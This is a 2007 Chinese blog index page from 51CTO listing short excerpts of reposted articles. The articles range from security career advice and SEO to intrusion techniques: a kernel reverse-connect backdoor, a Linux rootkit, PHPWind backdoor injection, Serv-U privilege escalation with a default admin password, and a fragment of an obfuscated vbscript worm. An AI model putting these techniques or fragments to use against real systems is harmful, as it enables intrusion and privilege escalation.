linkboy的博客_信息安全管理,网络安全技术,程序代码转载(3)

【信息安全】职业发展之惑系列之四 -- 我的一点经验和体会

昨天和高中同学聊天，回顾自己从上大学开始所走过的路，发现自己一路跌跌撞撞的走来，也收获了一些经验与体会，对与不对暂且抛开不管，写在这儿算是对这一系列文章做一个结论 1．沟通之重要把这个放在第一位来讲，是觉得这个真的很重要，同时也觉得自己在这方面的也做得远不够好。记得刚刚开始做技术工程师的时候，觉得自己很拽，根本不愿意或者甚至是不屑于和其他部门的人打交道，觉得只要自己能把问题搞定，就算你是

经验

发展

职业

休闲

体会

转载精选 2007-11-07 10:52:00 741 阅读

【信息安全】职业发展之惑系列三 -- 我该选择怎样的职业发展道路

明白了自己应该具有怎样的心态，我们还是希望让自己能够在选择自己的职业发展道路的时候更加明白不同的工作是怎样一回事，各个不同的工作之间有什么不同。那么就让我们逐一来分析信息安全这个类别中可能的职位，当然，还是那句话，由于我个人经验、知识、能力等等因素的限制，分析肯定带有强烈的个人经验色彩，仅供参考。 1．各类职位略解信息安全的职位总体来说可以分为依靠具体的安全技术、产品来实施安全建设和运维

发展

职业

休闲

选择

道路

转载精选 2007-11-07 10:47:00 527 阅读

【信息安全】职业发展之惑系列之二 --- 怎样的心态才有助于职业发展

当我们经过了仔细的分析，已经确定要做信息安全的时候，这时候摆在我们面前问题是，信息安全内部也有很多分支，职业发展的道路也有很多条。面临如此纷繁复杂的可能性，我们是不是也会感觉的有些手足无措，其实越是年轻，这种感觉也就会越强烈，因为你还是有无限的可能。但是，事情的发展并不是总是能够朝着我们所希望的方向发展下去，在这中间你会经历挫折、面临困难和诱惑以及还有自我挣扎的彷徨时刻。这时候，一颗积极向上的心，

发展

职业

信息安全

休闲

心态

转载精选 2007-11-07 10:46:00 509 阅读

转【信息安全】职业发展之惑系列之一 -- 要不要做信息安全

文章写出来之后，引起大家对于信息安全职业的悲观，这是我所不愿意看到的。从行业来说，随着大公司越来越看好安全这块蛋糕，独立的安全公司的生存的确受到一定的威胁。但是作为个人的职业来说，信息安全的前景还是不错的，因为信息安全的重要性一定会随着IT应用的日益增加而增加，所以IT人员需要掌握信息安全知识肯定是一个必然的趋势。只是从长远来说，我们从事信息安全的人员一定要拓宽自己的知识面，不要仅仅满足于了解防火

职场

发展

职业

休闲

转载精选 2007-11-07 10:46:00 816 阅读 1点赞

【信息安全】浅论风险评估的几个误区

在BBS上看到有人发表一篇文章，说中小企业的风险评估不需要流程和标准，用自己去帮一个小公司做风险评估为例来说明这家公司的安全做得如何如何差，他们必须要先自己做了改善后才能找人来做风险评估。言外之意就是我这么高端的风险评估，用来评估这么烂的信息安全状况，简直就是大才小用了。你先回去改改好之后再来找我吧，当然这是我的揣度。其实此前就在论坛上大家热谈风险评估，有用论，无用论，标准论，定制论，量化论，定性

风险

信息安全

休闲

误区

评估

转载精选 2007-11-07 10:43:00 640 阅读

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

好久不碰技术方面的东西，今天在ChinaCISSP上看到一篇讨论银行主机安全的帖子，心里觉得痒痒的，决定发表一点点想法，谁知道话匣子打开了越说越多，竟然鸡零狗碎扯了一通，后来不舍得丢弃，就把他记录在自己的blog里。] 其实作为银行这样的公司，他们对于IT系统的依赖以及这些系统地对外开放性决定了他们需要比一般企业要多花更多的精力来保护他们的IT系统。而从技术层面来讲，IT系统中间最容易出问题又最

系统

银行

网络安全

老三样

断想

转载精选 2007-11-07 10:40:00 726 阅读

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

在BBS上看到有人转贴的一篇评价COSO的文章，一口气看完，觉得文采、分析都非常有特点，是我喜欢的类型 :) 故转贴之~~~~ 文章有点长，帮忙总结一下中心思想:) 文章作者主要想说明 CPA为了最大化自己的利益，制定出的COSO框架存在不少缺陷，一是内部控制的范围不够宽，没有包括本应是内部控制一部分的战略规划、风险管理和纠正行为。二是内部控制的目标从范围和内容上都不够准确，范围上来说缺少对资产

信息安全

框架

脑袋

COSO

屁股

转载精选 2007-11-07 10:39:00 775 阅读

【信息安全】风险分析与控制措施，到底谁先谁后

前写的一篇关于风险分析与控制措施选择的一些小帖，一起堆到这儿最近收到论坛的每周热贴提醒，发现有几篇都是在讨论风险控制方面的贴，有关于笔记本安全的，有关于文档控制，也有关于内网安全的，说到对策呢，有人建议管理，有人建议技术，有人建议管理与技术并重。我今天在这里也对风险控制稍加讨论，希望能够和大家碰撞一下，对我的思路有所启发。 [separator] 个人认为在针对重点保护对象实施的重大保护

职场

风险分析

休闲

措施

转载精选 2007-11-07 10:11:00 454 阅读

彻底杜绝autorun.inf自动运行

通过注册表编辑器与权限控制结合的办法，可以彻底杜绝双击盘符情况下的autorun.inf调用。　　具体的办法如下：　　1.开始——运行——regedit；　　2.定位到　　HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVersion / Explorer /

运行

autorun

自动

inf

杜绝

转载精选 2007-11-05 20:48:00 676 阅读

Zblog模板优化

对于Zblog我是班门弄斧了，只是说说几点内容供新手参考。　　以下的讨论都是基于 Zblog最近的1.7版本。本文由淡泊明志原创于07年5月，转载请注明作者和来源。　　一、简单地了解Zblog的结构。　　工欲利其事，必先利其器。我们首先要先熟悉一下Zblog的文件不至于改起来晕头转向。　　(1). 关于模板文件的说明， Zblog的模板文件都放在Template目录下面，但

职场

模板

休闲

Zblog

转载精选 2007-11-05 11:04:00 545 阅读

ZblogSEO入门:怎么用Z-BLOG来进行SEO

Zblog对于SEO做的很不错，适合SEO入门的朋友用。不用看SEO入门书籍就能轻松的获得好的排名。因为这个BLOG已经做的很好了。　　以下的讨论都是基于 Zblog 最近的1.7版本。本文由淡泊明志原创于07年5月，转载请注明作者和来源。　　一、简单地了解Zblog的结构。　　工欲利其事，必先利其器。我们首先要先熟悉一下Zblog的文件不至于改起来晕头转向。　　(1).

职场

入门

转载精选 2007-11-05 09:13:00 1465 阅读

一个不为人知的感染几百万校内网用户的蠕虫分析

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。 Copy code <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")"

蠕虫

用户

休闲

感染

不为人知

转载精选 2007-11-01 11:28:00 600 阅读

对网易的一次入侵检测

已发表于黑客X档案　　BY 剑心[B.C.T] 　　163.com是国内一家比较出名的门户网站，提供包括邮箱等等在内的各种服务，这样繁多的服务，不知道会不会在哪些地方存在漏洞哦！正好最近学习了一些注入知识就想对这些门户网站做点小小的安全检测，不知道他们的脚本像不像他们名声一样那么厉害哦！　　废话就不说了，我们就去找那些传递参数的页面看看会不会不小心有那么一个参数没有过滤，那么我们就

职场

网易

休闲

入侵检测

转载精选 2007-10-31 12:04:00 473 阅读

安全焦点::安全工具-wnps-0.26-beta2.tgz

WNPS是一只工作在Linux 2.6.x平台下的rootkit+backdoor程序。　　它的意思是wnps is not poc shell，我的意图在于将它设计成一个可用于实战的linux rootkit。　　它最初的想法来自enyelkm，我对作者的开源精神深表感激。　　开发平台：　　2.6.9-5.EL 　　+-------------------------

职场

工具

休闲

焦点

转载精选 2007-10-31 10:25:00 756 阅读

百度怎样去优化？

导读：　　以下是我对百度优化的一些心得，希望对大家能起到一点启发及引导作用。由于水平有限，不当之处还请各位大侠指正，先行谢过！　　好了，进入正题。经过几次与百度的正面对话，了解到，百度是严禁使用优化手段提高网站排名。（注意：他们是说禁止优化，并不是禁止作弊！不管他的目的是什么，做好排名依然是我们的工作）以下是我总结的一些被百度认为是优化的手段：　　(1) Title，众所周知，是

职场

百度

休闲

转载精选 2007-10-31 09:11:00 810 阅读 1点赞

赚钱博客-SEO中的蓝海战略

自从Google Adsense推出Firefox推介之后，无数人为之费尽心机，大到各大知名下载站,小到广大草根博客，只要是Adsense发布者，就不会放下这只漂亮的狐狸，而推广手段也是无所不至其极。互联网上这一聪明的群体将其智慧展现得淋漓尽致.当我意识到这件美差时，时机早已过去，其原因有二：一,我没有什么流量比较大的网站；二,与Firefox相关的关键词市场已经红得发紫,杀气密不透风，但我还是

博客

赚钱

SEO

蓝海

战略

转载精选 2007-10-29 11:38:00 588 阅读

一个简单的内核后门原型

这是一个在内核模块中实现的反连后门，大家看看这于应用层上的实现有什么不同吧，呵呵 /* * Kernel mode connect backdoor,haha~ * * just a demo module to teach you how to write a backdoor in kernel mode, * i belive you can add more code to ma

职场

内核

休闲

后门

原型

转载精选 2007-10-25 17:41:00 540 阅读

A new way to inject backdoor in PHPWind

by superhei 2007-10-08 http://www.ph4nt0m.org Text Mode pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_r

new

休闲

PHPWind

backdoor

inject

转载精选 2007-10-20 17:41:00 772 阅读

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

maxthon2启动的时候装载mxsafe.dll对一些api进行了hook.在浏览器里运行程序,如果这些程序不在其信任列表里面,就会蹦个框,要求允许/禁止.所以,大部分下载木马在启动的时候就被检测到了. 要知道mxsafe hook了哪些api. od maxthon.exe, bp WriteProcessMemory, F9看改了哪些地址.或者启动maxthon.exe,用rooktit

网页

dll

防护

mxsafe

转载精选 2007-10-20 17:41:00 824 阅读

Serv-u6.0提权新玩法

郑重申明，此文章乃zero的文章，并非本人所写适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。限制：没有更改管理员的密码，或者破解出了Serv-U 的管理员的密码。Serv-U默认用户名：localadministrator 密码：#|@$ak#.|k;0@p 下面用 MSWinsock.Winsock建立一个连接，并且以System权限添加超级用户，代码如下：

职场

休闲

玩法

权新

转载精选 2007-10-20 11:38:00 638 阅读

溢出提权攻击解决办法

在恶意用户频频攻击、系统漏洞层出不穷的今天，作为网络管理员、系统管理员虽然在服务器的安全上都下了不少功夫，诸如及时打上系统安全补丁、进行一些常规的安全配置，但有时仍不安全。因此必须恶意用户入侵之前，通过一些系列安全设置，来将入侵者们挡在“安全门”之外，下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。一、如何防止溢出类攻击 1

职场

攻击

解决

办法

休闲

转载精选 2007-10-20 11:38:00 698 阅读

不为人知的动网7.1 SQL版注入漏洞

文章难易度：★★★ 文章阅读点：动网7.1 SQL版最新注入漏洞的详细利用以及如何在后台获取Webshell 话说上期X档案刊登了动网8.0 SQL版最新注入漏洞的文章，不知大家都掌握了没有，令人兴奋的是，没过几在就又暴出了另一个动网7.1 SQL版的最新注入漏洞，这个漏洞可以直接更改任意用户的密码或直接添加论坛管理员，危害相当严重！存在漏洞的文件为dv_dpo.asp，有兴趣的朋友可以自行阅

SQL

漏洞

数据库

休闲

不为人知

转载精选 2007-10-19 21:12:00 919 阅读

去除XP SP2对raw socket的一些限制

http://www.opencjk.org/~scz/windows/200701091750.txt A: scz@nsfocus.com 2007-01-09 17:50 现在已经是众所周知，XP SP2对raw socket做了一些限制，最引人注目的有两条: 1) 不能通过raw socket发送TCP报文。做此尝试时会得到10004号错误。 2) 不能通过raw socket发送

职场

socket

raw

休闲

转载精选 2007-10-17 20:32:00 779 阅读

pw的一个放后门的方式

pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_record.php"; if(!file_exists($bbsrecordfile)){ writeover

职场

休闲

后门

转载精选 2007-10-08 10:56:00 671 阅读

XSS蠕虫病毒可能爆发将威胁互联网安全

新闻来源:HARDSPELL/硬派网安全研究者最近发出警告，由于目前浏览器技术中的缺陷，互联网用户有可能面临一次非常严重的蠕虫病毒爆发。名为GNU Citizen的黑客组织已经发布了一些有关跨站脚本(cross-site scripting，XSS)漏洞的细节，据此可以通过浏览器向用户电脑植入恶意程序。蠕虫将能够扫描那些包含漏洞网页的IP地址，然后在整个网络上迅速流行开来。这些漏洞目前已经

互联网

威胁

XSS

爆发

转载精选 2007-10-07 18:58:00 442 阅读

Linux下mysql 5.x得到root密码后的另外一种利用方式

刚才在卫生间蹲着的时候突然想到这个问题，mysql5.x for linux下面有一个函数，可以帮助我们干很多事情，这个函数4。x下面貌似没，原来一直没发现，也没去查函数手册，就我自己的经验来写点东西。4,x的明天再看看函数手册，再装一个实验一下。 mysql 5.x里面引入了一个system函数，这个函数可以执行系统命令，当mysql以root登陆的时候，就可以利用这个函数执行命令，当然是在权

Linux

密码

mysql

数据库

root

转载精选 2007-09-29 10:20:00 510 阅读

自动屏蔽远程主机穷举密码-2 iptables

遵循GUN版权 #!/bin/bash MONITOR_FILE="/var/log/messages" MONITOR_LOG_FILE="/var/crontab/anti_scan.log" TABLES="/tmp/anti_scan.pid" tmp="/tmp/anti_scan.pid.tmp"

密码

主机

iptables

休闲

自动

转载精选 2007-09-28 10:35:00 540 阅读

一次曲折的安全检测

作者：菜菜此次安全检测过去有段时间了，一直想写成稿子就是没有时间，具体环境可能有所淡忘，但整个过程和思路还是很明了的。由于在校期间课余在学校的网络工作室工作，所以对一些学校网站的服务和发展比较关注。这期间发现某学院的文件交换系统非常的不错，在校园网内使用会带来很多方面的便捷。搜索了下网上没有现成的系统下载，难道非要自己现写不成… 踩点：服务器开放了21和80端口，Serv

职场

检测

休闲

曲折

转载精选 2007-09-25 18:01:00 472 阅读

职场

漏洞

休闲

转载精选 2007-09-25 18:00:00 1049 阅读

Haxdoors of the Kaspersky Antivirus 6/7

Haxdoors of the Kaspersky Antivirus 6/7 ================================ Preamble ================================ Kaspersky Antivirus one of the most technically modern antiviruses available toda

职场

Antivirus

休闲

Kaspersky

Haxdoors

转载精选 2007-09-17 15:44:00 830 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

【信息安全】职业发展之惑系列之四 -- 我的一点经验和体会

【信息安全】职业发展之惑系列三 -- 我该选择怎样的职业发展道路

【信息安全】职业发展之惑系列之二 --- 怎样的心态才有助于职业发展

转【信息安全】职业发展之惑系列之一 -- 要不要做信息安全

【信息安全】浅论风险评估的几个误区

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

【信息安全】风险分析与控制措施，到底谁先谁后

彻底杜绝autorun.inf自动运行

Zblog模板优化

ZblogSEO入门:怎么用Z-BLOG来进行SEO

一个不为人知的感染几百万校内网用户的蠕虫分析

对网易的一次入侵检测

安全焦点::安全工具-wnps-0.26-beta2.tgz

百度怎样去优化？

赚钱博客-SEO中的蓝海战略

一个简单的内核后门原型

A new way to inject backdoor in PHPWind

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

Serv-u6.0提权新玩法

溢出提权攻击解决办法

不为人知的动网7.1 SQL版注入漏洞

去除XP SP2对raw socket的一些限制

pw的一个放后门的方式

XSS蠕虫病毒可能爆发将威胁互联网安全

Linux下mysql 5.x得到root密码后的另外一种利用方式

自动屏蔽远程主机穷举密码-2 iptables

一次曲折的安全检测

动网8.0最新远程注入漏洞来了

Haxdoors of the Kaspersky Antivirus 6/7

欢迎